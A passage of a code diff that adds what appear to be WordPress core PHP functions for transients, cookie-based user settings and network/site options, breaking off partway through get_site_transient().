+ * @param string $transient Transient name. Expected to not be SQL-escaped.
+ * @return mixed Value of transient.
+ */
+function get_transient( $transient ) {
+
+	/**
+	 * Filters the value of an existing transient.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit retrieval
+	 * of the transient, returning the passed value instead.
+	 *
+	 * @since 2.8.0
+	 * @since 4.4.0 The `$transient` parameter was added
+	 *
+	 * @param mixed  $pre_transient The default value to return if the transient does not exist.
+	 *                              Any value other than false will short-circuit the retrieval
+	 *                              of the transient, and return the returned value.
+	 * @param string $transient     Transient name.
+	 */
+	$pre = apply_filters( "pre_transient_{$transient}", false, $transient );
+	if ( false !== $pre )
+		return $pre;
+
+	if ( wp_using_ext_object_cache() ) {
+		$value = wp_cache_get( $transient, 'transient' );
+	} else {
+		$transient_option = '_transient_' . $transient;
+		if ( ! wp_installing() ) {
+			// If option is not in alloptions, it is not autoloaded and thus has a timeout
+			$alloptions = wp_load_alloptions();
+			if ( !isset( $alloptions[$transient_option] ) ) {
+				$transient_timeout = '_transient_timeout_' . $transient;
+				$timeout = get_option( $transient_timeout );
+				if ( false !== $timeout && $timeout < time() ) {
+					delete_option( $transient_option  );
+					delete_option( $transient_timeout );
+					$value = false;
+				}
+			}
+		}
+
+		if ( ! isset( $value ) )
+			$value = get_option( $transient_option );
+	}
+
+	/**
+	 * Filters an existing transient's value.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 2.8.0
+	 * @since 4.4.0 The `$transient` parameter was added
+	 *
+	 * @param mixed  $value     Value of transient.
+	 * @param string $transient Transient name.
+	 */
+	return apply_filters( "transient_{$transient}", $value, $transient );
+}
+
+/**
+ * Set/update the value of a transient.
+ *
+ * You do not need to serialize values. If the value needs to be serialized, then
+ * it will be serialized before it is set.
+ *
+ * @since 2.8.0
+ *
+ * @param string $transient  Transient name. Expected to not be SQL-escaped. Must be
+ *                           172 characters or fewer in length.
+ * @param mixed  $value      Transient value. Must be serializable if non-scalar.
+ *                           Expected to not be SQL-escaped.
+ * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
+ * @return bool False if value was not set and true if value was set.
+ */
+function set_transient( $transient, $value, $expiration = 0 ) {
+
+	$expiration = (int) $expiration;
+
+	/**
+	 * Filters a specific transient before its value is set.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 3.0.0
+	 * @since 4.2.0 The `$expiration` parameter was added.
+	 * @since 4.4.0 The `$transient` parameter was added.
+	 *
+	 * @param mixed  $value      New value of transient.
+	 * @param int    $expiration Time until expiration in seconds.
+	 * @param string $transient  Transient name.
+	 */
+	$value = apply_filters( "pre_set_transient_{$transient}", $value, $expiration, $transient );
+
+	/**
+	 * Filters the expiration for a transient before its value is set.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int    $expiration Time until expiration in seconds. Use 0 for no expiration.
+	 * @param mixed  $value      New value of transient.
+	 * @param string $transient  Transient name.
+	 */
+	$expiration = apply_filters( "expiration_of_transient_{$transient}", $expiration, $value, $transient );
+
+	if ( wp_using_ext_object_cache() ) {
+		$result = wp_cache_set( $transient, $value, 'transient', $expiration );
+	} else {
+		$transient_timeout = '_transient_timeout_' . $transient;
+		$transient_option = '_transient_' . $transient;
+		if ( false === get_option( $transient_option ) ) {
+			$autoload = 'yes';
+			if ( $expiration ) {
+				$autoload = 'no';
+				add_option( $transient_timeout, time() + $expiration, '', 'no' );
+			}
+			$result = add_option( $transient_option, $value, '', $autoload );
+		} else {
+			// If expiration is requested, but the transient has no timeout option,
+			// delete, then re-create transient rather than update.
+			$update = true;
+			if ( $expiration ) {
+				if ( false === get_option( $transient_timeout ) ) {
+					delete_option( $transient_option );
+					add_option( $transient_timeout, time() + $expiration, '', 'no' );
+					$result = add_option( $transient_option, $value, '', 'no' );
+					$update = false;
+				} else {
+					update_option( $transient_timeout, time() + $expiration );
+				}
+			}
+			if ( $update ) {
+				$result = update_option( $transient_option, $value );
+			}
+		}
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after the value for a specific transient has been set.
+		 *
+		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+		 *
+		 * @since 3.0.0
+		 * @since 3.6.0 The `$value` and `$expiration` parameters were added.
+		 * @since 4.4.0 The `$transient` parameter was added.
+		 *
+		 * @param mixed  $value      Transient value.
+		 * @param int    $expiration Time until expiration in seconds.
+		 * @param string $transient  The name of the transient.
+		 */
+		do_action( "set_transient_{$transient}", $value, $expiration, $transient );
+
+		/**
+		 * Fires after the value for a transient has been set.
+		 *
+		 * @since 3.0.0
+		 * @since 3.6.0 The `$value` and `$expiration` parameters were added.
+		 *
+		 * @param string $transient  The name of the transient.
+		 * @param mixed  $value      Transient value.
+		 * @param int    $expiration Time until expiration in seconds.
+		 */
+		do_action( 'setted_transient', $transient, $value, $expiration );
+	}
+	return $result;
+}
+
+/**
+ * Deletes all expired transients.
+ *
+ * The multi-table delete syntax is used to delete the transient record
+ * from table a, and the corresponding transient_timeout record from table b.
+ *
+ * @since 4.9.0
+ *
+ * @param bool $force_db Optional. Force cleanup to run against the database even when an external object cache is used.
+ */
+function delete_expired_transients( $force_db = false ) {
+	global $wpdb;
+
+	if ( ! $force_db && wp_using_ext_object_cache() ) {
+		return;
+	}
+
+	$wpdb->query( $wpdb->prepare(
+		"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
+			WHERE a.option_name LIKE %s
+			AND a.option_name NOT LIKE %s
+			AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) )
+			AND b.option_value < %d",
+		$wpdb->esc_like( '_transient_' ) . '%',
+		$wpdb->esc_like( '_transient_timeout_' ) . '%',
+		time()
+	) );
+
+	if ( ! is_multisite() ) {
+		// non-Multisite stores site transients in the options table.
+		$wpdb->query( $wpdb->prepare(
+			"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
+				WHERE a.option_name LIKE %s
+				AND a.option_name NOT LIKE %s
+				AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) )
+				AND b.option_value < %d",
+			$wpdb->esc_like( '_site_transient_' ) . '%',
+			$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
+			time()
+		) );
+	} elseif ( is_multisite() && is_main_site() && is_main_network() ) {
+		// Multisite stores site transients in the sitemeta table.
+		$wpdb->query( $wpdb->prepare(
+			"DELETE a, b FROM {$wpdb->sitemeta} a, {$wpdb->sitemeta} b
+				WHERE a.meta_key LIKE %s
+				AND a.meta_key NOT LIKE %s
+				AND b.meta_key = CONCAT( '_site_transient_timeout_', SUBSTRING( a.meta_key, 17 ) )
+				AND b.meta_value < %d",
+			$wpdb->esc_like( '_site_transient_' ) . '%',
+			$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
+			time()
+		) );
+	}
+}
+
+/**
+ * Saves and restores user interface settings stored in a cookie.
+ *
+ * Checks if the current user-settings cookie is updated and stores it. When no
+ * cookie exists (different browser used), adds the last saved cookie restoring
+ * the settings.
+ *
+ * @since 2.7.0
+ */
+function wp_user_settings() {
+
+	if ( ! is_admin() || wp_doing_ajax() ) {
+		return;
+	}
+
+	if ( ! $user_id = get_current_user_id() ) {
+		return;
+	}
+
+	if ( ! is_user_member_of_blog() ) {
+		return;
+	}
+
+	$settings = (string) get_user_option( 'user-settings', $user_id );
+
+	if ( isset( $_COOKIE['wp-settings-' . $user_id] ) ) {
+		$cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE['wp-settings-' . $user_id] );
+
+		// No change or both empty
+		if ( $cookie == $settings )
+			return;
+
+		$last_saved = (int) get_user_option( 'user-settings-time', $user_id );
+		$current = isset( $_COOKIE['wp-settings-time-' . $user_id]) ? preg_replace( '/[^0-9]/', '', $_COOKIE['wp-settings-time-' . $user_id] ) : 0;
+
+		// The cookie is newer than the saved value. Update the user_option and leave the cookie as-is
+		if ( $current > $last_saved ) {
+			update_user_option( $user_id, 'user-settings', $cookie, false );
+			update_user_option( $user_id, 'user-settings-time', time() - 5, false );
+			return;
+		}
+	}
+
+	// The cookie is not set in the current browser or the saved value is newer.
+	$secure = ( 'https' === parse_url( admin_url(), PHP_URL_SCHEME ) );
+	setcookie( 'wp-settings-' . $user_id, $settings, time() + YEAR_IN_SECONDS, SITECOOKIEPATH, null, $secure );
+	setcookie( 'wp-settings-time-' . $user_id, time(), time() + YEAR_IN_SECONDS, SITECOOKIEPATH, null, $secure );
+	$_COOKIE['wp-settings-' . $user_id] = $settings;
+}
+
+/**
+ * Retrieve user interface setting value based on setting name.
+ *
+ * @since 2.7.0
+ *
+ * @param string $name    The name of the setting.
+ * @param string $default Optional default value to return when $name is not set.
+ * @return mixed the last saved user setting or the default value/false if it doesn't exist.
+ */
+function get_user_setting( $name, $default = false ) {
+	$all_user_settings = get_all_user_settings();
+
+	return isset( $all_user_settings[$name] ) ? $all_user_settings[$name] : $default;
+}
+
+/**
+ * Add or update user interface setting.
+ *
+ * Both $name and $value can contain only ASCII letters, numbers and underscores.
+ *
+ * This function has to be used before any output has started as it calls setcookie().
+ *
+ * @since 2.8.0
+ *
+ * @param string $name  The name of the setting.
+ * @param string $value The value for the setting.
+ * @return bool|null True if set successfully, false if not. Null if the current user can't be established.
+ */
+function set_user_setting( $name, $value ) {
+	if ( headers_sent() ) {
+		return false;
+	}
+
+	$all_user_settings = get_all_user_settings();
+	$all_user_settings[$name] = $value;
+
+	return wp_set_all_user_settings( $all_user_settings );
+}
+
+/**
+ * Delete user interface settings.
+ *
+ * Deleting settings would reset them to the defaults.
+ *
+ * This function has to be used before any output has started as it calls setcookie().
+ *
+ * @since 2.7.0
+ *
+ * @param string $names The name or array of names of the setting to be deleted.
+ * @return bool|null True if deleted successfully, false if not. Null if the current user can't be established.
+ */
+function delete_user_setting( $names ) {
+	if ( headers_sent() ) {
+		return false;
+	}
+
+	$all_user_settings = get_all_user_settings();
+	$names = (array) $names;
+	$deleted = false;
+
+	foreach ( $names as $name ) {
+		if ( isset( $all_user_settings[$name] ) ) {
+			unset( $all_user_settings[$name] );
+			$deleted = true;
+		}
+	}
+
+	if ( $deleted ) {
+		return wp_set_all_user_settings( $all_user_settings );
+	}
+
+	return false;
+}
+
+/**
+ * Retrieve all user interface settings.
+ *
+ * @since 2.7.0
+ *
+ * @global array $_updated_user_settings
+ *
+ * @return array the last saved user settings or empty array.
+ */
+function get_all_user_settings() {
+	global $_updated_user_settings;
+
+	if ( ! $user_id = get_current_user_id() ) {
+		return array();
+	}
+
+	if ( isset( $_updated_user_settings ) && is_array( $_updated_user_settings ) ) {
+		return $_updated_user_settings;
+	}
+
+	$user_settings = array();
+
+	if ( isset( $_COOKIE['wp-settings-' . $user_id] ) ) {
+		$cookie = preg_replace( '/[^A-Za-z0-9=&_-]/', '', $_COOKIE['wp-settings-' . $user_id] );
+
+		if ( strpos( $cookie, '=' ) ) { // '=' cannot be 1st char
+			parse_str( $cookie, $user_settings );
+		}
+	} else {
+		$option = get_user_option( 'user-settings', $user_id );
+
+		if ( $option && is_string( $option ) ) {
+			parse_str( $option, $user_settings );
+		}
+	}
+
+	$_updated_user_settings = $user_settings;
+	return $user_settings;
+}
+
+/**
+ * Private. Set all user interface settings.
+ *
+ * @since 2.8.0
+ * @access private
+ *
+ * @global array $_updated_user_settings
+ *
+ * @param array $user_settings User settings.
+ * @return bool|null False if the current user can't be found, null if the current
+ *                   user is not a super admin or a member of the site, otherwise true.
+ */
+function wp_set_all_user_settings( $user_settings ) {
+	global $_updated_user_settings;
+
+	if ( ! $user_id = get_current_user_id() ) {
+		return false;
+	}
+
+	if ( ! is_user_member_of_blog() ) {
+		return;
+	}
+
+	$settings = '';
+	foreach ( $user_settings as $name => $value ) {
+		$_name = preg_replace( '/[^A-Za-z0-9_-]+/', '', $name );
+		$_value = preg_replace( '/[^A-Za-z0-9_-]+/', '', $value );
+
+		if ( ! empty( $_name ) ) {
+			$settings .= $_name . '=' . $_value . '&';
+		}
+	}
+
+	$settings = rtrim( $settings, '&' );
+	parse_str( $settings, $_updated_user_settings );
+
+	update_user_option( $user_id, 'user-settings', $settings, false );
+	update_user_option( $user_id, 'user-settings-time', time(), false );
+
+	return true;
+}
+
+/**
+ * Delete the user settings of the current user.
+ *
+ * @since 2.7.0
+ */
+function delete_all_user_settings() {
+	if ( ! $user_id = get_current_user_id() ) {
+		return;
+	}
+
+	update_user_option( $user_id, 'user-settings', '', false );
+	setcookie( 'wp-settings-' . $user_id, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
+}
+
+/**
+ * Retrieve an option value for the current network based on name of option.
+ *
+ * @since 2.8.0
+ * @since 4.4.0 The `$use_cache` parameter was deprecated.
+ * @since 4.4.0 Modified into wrapper for get_network_option()
+ *
+ * @see get_network_option()
+ *
+ * @param string $option     Name of option to retrieve. Expected to not be SQL-escaped.
+ * @param mixed  $default    Optional value to return if option doesn't exist. Default false.
+ * @param bool   $deprecated Whether to use cache. Multisite only. Always set to true.
+ * @return mixed Value set for the option.
+ */
+function get_site_option( $option, $default = false, $deprecated = true ) {
+	return get_network_option( null, $option, $default );
+}
+
+/**
+ * Add a new option for the current network.
+ *
+ * Existing options will not be updated. Note that prior to 3.3 this wasn't the case.
+ *
+ * @since 2.8.0
+ * @since 4.4.0 Modified into wrapper for add_network_option()
+ *
+ * @see add_network_option()
+ *
+ * @param string $option Name of option to add. Expected to not be SQL-escaped.
+ * @param mixed  $value  Option value, can be anything. Expected to not be SQL-escaped.
+ * @return bool False if the option was not added. True if the option was added.
+ */
+function add_site_option( $option, $value ) {
+	return add_network_option( null, $option, $value );
+}
+
+/**
+ * Removes a option by name for the current network.
+ *
+ * @since 2.8.0
+ * @since 4.4.0 Modified into wrapper for delete_network_option()
+ *
+ * @see delete_network_option()
+ *
+ * @param string $option Name of option to remove. Expected to not be SQL-escaped.
+ * @return bool True, if succeed. False, if failure.
+ */
+function delete_site_option( $option ) {
+	return delete_network_option( null, $option );
+}
+
+/**
+ * Update the value of an option that was already added for the current network.
+ *
+ * @since 2.8.0
+ * @since 4.4.0 Modified into wrapper for update_network_option()
+ *
+ * @see update_network_option()
+ *
+ * @param string $option Name of option. Expected to not be SQL-escaped.
+ * @param mixed  $value  Option value. Expected to not be SQL-escaped.
+ * @return bool False if value was not updated. True if value was updated.
+ */
+function update_site_option( $option, $value ) {
+	return update_network_option( null, $option, $value );
+}
+
+/**
+ * Retrieve a network's option value based on the option name.
+ *
+ * @since 4.4.0
+ *
+ * @see get_option()
+ *
+ * @global wpdb $wpdb
+ *
+ * @param int      $network_id ID of the network. Can be null to default to the current network ID.
+ * @param string   $option     Name of option to retrieve. Expected to not be SQL-escaped.
+ * @param mixed    $default    Optional. Value to return if the option doesn't exist. Default false.
+ * @return mixed Value set for the option.
+ */
+function get_network_option( $network_id, $option, $default = false ) {
+	global $wpdb;
+
+	if ( $network_id && ! is_numeric( $network_id ) ) {
+		return false;
+	}
+
+	$network_id = (int) $network_id;
+
+	// Fallback to the current network if a network ID is not specified.
+	if ( ! $network_id ) {
+		$network_id = get_current_network_id();
+	}
+
+	/**
+	 * Filters an existing network option before it is retrieved.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit retrieval,
+	 * returning the passed value instead.
+	 *
+	 * @since 2.9.0 As 'pre_site_option_' . $key
+	 * @since 3.0.0
+	 * @since 4.4.0 The `$option` parameter was added.
+	 * @since 4.7.0 The `$network_id` parameter was added.
+	 * @since 4.9.0 The `$default` parameter was added.
+	 *
+	 * @param mixed  $pre_option The value to return instead of the option value. This differs from
+	 *                           `$default`, which is used as the fallback value in the event the
+	 *                           option doesn't exist elsewhere in get_network_option(). Default
+	 *                           is false (to skip past the short-circuit).
+	 * @param string $option     Option name.
+	 * @param int    $network_id ID of the network.
+	 * @param mixed  $default    The fallback value to return if the option does not exist.
+	 *                           Default is false.
+	 */
+	$pre = apply_filters( "pre_site_option_{$option}", false, $option, $network_id, $default );
+
+	if ( false !== $pre ) {
+		return $pre;
+	}
+
+	// prevent non-existent options from triggering multiple queries
+	$notoptions_key = "$network_id:notoptions";
+	$notoptions = wp_cache_get( $notoptions_key, 'site-options' );
+
+	if ( isset( $notoptions[ $option ] ) ) {
+
+		/**
+		 * Filters a specific default network option.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 3.4.0
+		 * @since 4.4.0 The `$option` parameter was added.
+		 * @since 4.7.0 The `$network_id` parameter was added.
+		 *
+		 * @param mixed  $default    The value to return if the site option does not exist
+		 *                           in the database.
+		 * @param string $option     Option name.
+		 * @param int    $network_id ID of the network.
+		 */
+		return apply_filters( "default_site_option_{$option}", $default, $option, $network_id );
+	}
+
+	if ( ! is_multisite() ) {
+		/** This filter is documented in wp-includes/option.php */
+		$default = apply_filters( 'default_site_option_' . $option, $default, $option, $network_id );
+		$value = get_option( $option, $default );
+	} else {
+		$cache_key = "$network_id:$option";
+		$value = wp_cache_get( $cache_key, 'site-options' );
+
+		if ( ! isset( $value ) || false === $value ) {
+			$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_value FROM $wpdb->sitemeta WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );
+
+			// Has to be get_row instead of get_var because of funkiness with 0, false, null values
+			if ( is_object( $row ) ) {
+				$value = $row->meta_value;
+				$value = maybe_unserialize( $value );
+				wp_cache_set( $cache_key, $value, 'site-options' );
+			} else {
+				if ( ! is_array( $notoptions ) ) {
+					$notoptions = array();
+				}
+				$notoptions[ $option ] = true;
+				wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
+
+				/** This filter is documented in wp-includes/option.php */
+				$value = apply_filters( 'default_site_option_' . $option, $default, $option, $network_id );
+			}
+		}
+	}
+
+	/**
+	 * Filters the value of an existing network option.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.9.0 As 'site_option_' . $key
+	 * @since 3.0.0
+	 * @since 4.4.0 The `$option` parameter was added.
+	 * @since 4.7.0 The `$network_id` parameter was added.
+	 *
+	 * @param mixed  $value      Value of network option.
+	 * @param string $option     Option name.
+	 * @param int    $network_id ID of the network.
+	 */
+	return apply_filters( "site_option_{$option}", $value, $option, $network_id );
+}
+
+/**
+ * Add a new network option.
+ *
+ * Existing options will not be updated.
+ *
+ * @since 4.4.0
+ *
+ * @see add_option()
+ *
+ * @global wpdb $wpdb
+ *
+ * @param int    $network_id ID of the network. Can be null to default to the current network ID.
+ * @param string $option     Name of option to add. Expected to not be SQL-escaped.
+ * @param mixed  $value      Option value, can be anything. Expected to not be SQL-escaped.
+ * @return bool False if option was not added and true if option was added.
+ */
+function add_network_option( $network_id, $option, $value ) {
+	global $wpdb;
+
+	if ( $network_id && ! is_numeric( $network_id ) ) {
+		return false;
+	}
+
+	$network_id = (int) $network_id;
+
+	// Fallback to the current network if a network ID is not specified.
+	if ( ! $network_id ) {
+		$network_id = get_current_network_id();
+	}
+
+	wp_protect_special_option( $option );
+
+	/**
+	 * Filters the value of a specific network option before it is added.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.9.0 As 'pre_add_site_option_' . $key
+	 * @since 3.0.0
+	 * @since 4.4.0 The `$option` parameter was added.
+	 * @since 4.7.0 The `$network_id` parameter was added.
+	 *
+	 * @param mixed  $value      Value of network option.
+	 * @param string $option     Option name.
+	 * @param int    $network_id ID of the network.
+	 */
+	$value = apply_filters( "pre_add_site_option_{$option}", $value, $option, $network_id );
+
+	$notoptions_key = "$network_id:notoptions";
+
+	if ( ! is_multisite() ) {
+		$result = add_option( $option, $value, '', 'no' );
+	} else {
+		$cache_key = "$network_id:$option";
+
+		// Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
+		$notoptions = wp_cache_get( $notoptions_key, 'site-options' );
+		if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) {
+			if ( false !== get_network_option( $network_id, $option, false ) ) {
+				return false;
+			}
+		}
+
+		$value = sanitize_option( $option, $value );
+
+		$serialized_value = maybe_serialize( $value );
+		$result = $wpdb->insert( $wpdb->sitemeta, array( 'site_id'    => $network_id, 'meta_key'   => $option, 'meta_value' => $serialized_value ) );
+
+		if ( ! $result ) {
+			return false;
+		}
+
+		wp_cache_set( $cache_key, $value, 'site-options' );
+
+		// This option exists now
+		$notoptions = wp_cache_get( $notoptions_key, 'site-options' ); // yes, again... we need it to be fresh
+		if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
+			unset( $notoptions[ $option ] );
+			wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
+		}
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after a specific network option has been successfully added.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 2.9.0 As "add_site_option_{$key}"
+		 * @since 3.0.0
+		 * @since 4.7.0 The `$network_id` parameter was added.
+		 *
+		 * @param string $option     Name of the network option.
+		 * @param mixed  $value      Value of the network option.
+		 * @param int    $network_id ID of the network.
+		 */
+		do_action( "add_site_option_{$option}", $option, $value, $network_id );
+
+		/**
+		 * Fires after a network option has been successfully added.
+		 *
+		 * @since 3.0.0
+		 * @since 4.7.0 The `$network_id` parameter was added.
+		 *
+		 * @param string $option     Name of the network option.
+		 * @param mixed  $value      Value of the network option.
+		 * @param int    $network_id ID of the network.
+		 */
+		do_action( 'add_site_option', $option, $value, $network_id );
+
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Removes a network option by name.
+ *
+ * @since 4.4.0
+ *
+ * @see delete_option()
+ *
+ * @global wpdb $wpdb
+ *
+ * @param int    $network_id ID of the network. Can be null to default to the current network ID.
+ * @param string $option     Name of option to remove. Expected to not be SQL-escaped.
+ * @return bool True, if succeed. False, if failure.
+ */
+function delete_network_option( $network_id, $option ) {
+	global $wpdb;
+
+	if ( $network_id && ! is_numeric( $network_id ) ) {
+		return false;
+	}
+
+	$network_id = (int) $network_id;
+
+	// Fallback to the current network if a network ID is not specified.
+	if ( ! $network_id ) {
+		$network_id = get_current_network_id();
+	}
+
+	/**
+	 * Fires immediately before a specific network option is deleted.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 3.0.0
+	 * @since 4.4.0 The `$option` parameter was added.
+	 * @since 4.7.0 The `$network_id` parameter was added.
+	 *
+	 * @param string $option     Option name.
+	 * @param int    $network_id ID of the network.
+	 */
+	do_action( "pre_delete_site_option_{$option}", $option, $network_id );
+
+	if ( ! is_multisite() ) {
+		$result = delete_option( $option );
+	} else {
+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM {$wpdb->sitemeta} WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );
+		if ( is_null( $row ) || ! $row->meta_id ) {
+			return false;
+		}
+		$cache_key = "$network_id:$option";
+		wp_cache_delete( $cache_key, 'site-options' );
+
+		$result = $wpdb->delete( $wpdb->sitemeta, array( 'meta_key' => $option, 'site_id' => $network_id ) );
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after a specific network option has been deleted.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 2.9.0 As "delete_site_option_{$key}"
+		 * @since 3.0.0
+		 * @since 4.7.0 The `$network_id` parameter was added.
+		 *
+		 * @param string $option     Name of the network option.
+		 * @param int    $network_id ID of the network.
+		 */
+		do_action( "delete_site_option_{$option}", $option, $network_id );
+
+		/**
+		 * Fires after a network option has been deleted.
+		 *
+		 * @since 3.0.0
+		 * @since 4.7.0 The `$network_id` parameter was added.
+		 *
+		 * @param string $option     Name of the network option.
+		 * @param int    $network_id ID of the network.
+		 */
+		do_action( 'delete_site_option', $option, $network_id );
+
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Update the value of a network option that was already added.
+ *
+ * @since 4.4.0
+ *
+ * @see update_option()
+ *
+ * @global wpdb $wpdb
+ *
+ * @param int      $network_id ID of the network. Can be null to default to the current network ID.
+ * @param string   $option     Name of option. Expected to not be SQL-escaped.
+ * @param mixed    $value      Option value. Expected to not be SQL-escaped.
+ * @return bool False if value was not updated and true if value was updated.
+ */
+function update_network_option( $network_id, $option, $value ) {
+	global $wpdb;
+
+	if ( $network_id && ! is_numeric( $network_id ) ) {
+		return false;
+	}
+
+	$network_id = (int) $network_id;
+
+	// Fallback to the current network if a network ID is not specified.
+	if ( ! $network_id ) {
+		$network_id = get_current_network_id();
+	}
+
+	wp_protect_special_option( $option );
+
+	$old_value = get_network_option( $network_id, $option, false );
+
+	/**
+	 * Filters a specific network option before its value is updated.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the option name.
+	 *
+	 * @since 2.9.0 As 'pre_update_site_option_' . $key
+	 * @since 3.0.0
+	 * @since 4.4.0 The `$option` parameter was added.
+	 * @since 4.7.0 The `$network_id` parameter was added.
+	 *
+	 * @param mixed  $value      New value of the network option.
+	 * @param mixed  $old_value  Old value of the network option.
+	 * @param string $option     Option name.
+	 * @param int    $network_id ID of the network.
+	 */
+	$value = apply_filters( "pre_update_site_option_{$option}", $value, $old_value, $option, $network_id );
+
+	if ( $value === $old_value ) {
+		return false;
+	}
+
+	if ( false === $old_value ) {
+		return add_network_option( $network_id, $option, $value );
+	}
+
+	$notoptions_key = "$network_id:notoptions";
+	$notoptions = wp_cache_get( $notoptions_key, 'site-options' );
+	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
+		unset( $notoptions[ $option ] );
+		wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
+	}
+
+	if ( ! is_multisite() ) {
+		$result = update_option( $option, $value, 'no' );
+	} else {
+		$value = sanitize_option( $option, $value );
+
+		$serialized_value = maybe_serialize( $value );
+		$result = $wpdb->update( $wpdb->sitemeta, array( 'meta_value' => $serialized_value ), array( 'site_id' => $network_id, 'meta_key' => $option ) );
+
+		if ( $result ) {
+			$cache_key = "$network_id:$option";
+			wp_cache_set( $cache_key, $value, 'site-options' );
+		}
+	}
+
+	if ( $result ) {
+
+		/**
+		 * Fires after the value of a specific network option has been successfully updated.
+		 *
+		 * The dynamic portion of the hook name, `$option`, refers to the option name.
+		 *
+		 * @since 2.9.0 As "update_site_option_{$key}"
+		 * @since 3.0.0
+		 * @since 4.7.0 The `$network_id` parameter was added.
+		 *
+		 * @param string $option     Name of the network option.
+		 * @param mixed  $value      Current value of the network option.
+		 * @param mixed  $old_value  Old value of the network option.
+		 * @param int    $network_id ID of the network.
+		 */
+		do_action( "update_site_option_{$option}", $option, $value, $old_value, $network_id );
+
+		/**
+		 * Fires after the value of a network option has been successfully updated.
+		 *
+		 * @since 3.0.0
+		 * @since 4.7.0 The `$network_id` parameter was added.
+		 *
+		 * @param string $option     Name of the network option.
+		 * @param mixed  $value      Current value of the network option.
+		 * @param mixed  $old_value  Old value of the network option.
+		 * @param int    $network_id ID of the network.
+		 */
+		do_action( 'update_site_option', $option, $value, $old_value, $network_id );
+
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Delete a site transient.
+ *
+ * @since 2.9.0
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped.
+ * @return bool True if successful, false otherwise
+ */
+function delete_site_transient( $transient ) {
+
+	/**
+	 * Fires immediately before a specific site transient is deleted.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $transient Transient name.
+	 */
+	do_action( "delete_site_transient_{$transient}", $transient );
+
+	if ( wp_using_ext_object_cache() ) {
+		$result = wp_cache_delete( $transient, 'site-transient' );
+	} else {
+		$option_timeout = '_site_transient_timeout_' . $transient;
+		$option = '_site_transient_' . $transient;
+		$result = delete_site_option( $option );
+		if ( $result )
+			delete_site_option( $option_timeout );
+	}
+	if ( $result ) {
+
+		/**
+		 * Fires after a transient is deleted.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $transient Deleted transient name.
+		 */
+		do_action( 'deleted_site_transient', $transient );
+	}
+
+	return $result;
+}
+
+/**
+ * Get the value of a site transient.
+ *
+ * If the transient does not exist, does not have a value, or has expired,
+ * then the return value will be false.
+ *
+ * @since 2.9.0
+ *
+ * @see get_transient()
+ *
+ * @param string $transient Transient name. Expected to not be SQL-escaped.
+ * @return mixed Value of transient.
+ */
+function get_site_transient( $transient ) {
+
+	/**
+	 * Filters the value of an existing site transient.
+	 *
+	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit retrieval,
+	 * returning the passed value instead.
+	 *
+	 * @since 2.9.0
+	 * @since 4.4.0 The `$transient` parameter was added.
+	 *
+	 * @param mixed  $pre_site_transient The default value to return if the site transient does not exist.
+	 *                                   Any value other than false will short-circuit the retrieval
+	 *                                   of the transient, and return the returned value.
+	 * @param string $transient          Transient name.
+	 */
+	$pre = apply_filters( "pre_site_transient_{$transient}", false, $transient );
+
+	if ( false !== $pre )
+		return $pre;
+
+	if ( wp_using_ext_object_cache() ) {
+		$value = wp_cache_get( $transient, 'site-transient' );
+	} else {
+		// Core transients that do not have a timeout. Listed here so querying timeouts can be avoided.
+		$no_timeout = array('update_core', 'update_plugins', 'update_themes');
+		$transient_option = '_site_transient_' . $transient;
+		if ( ! in_array( $transient, $no_timeout ) ) {
+			$transient_timeout = '_site_transient_timeout_' . $transient;
+			$timeout = get_site_option( $transient_timeout );
+			if ( false !== $timeout && $timeout < time() ) {
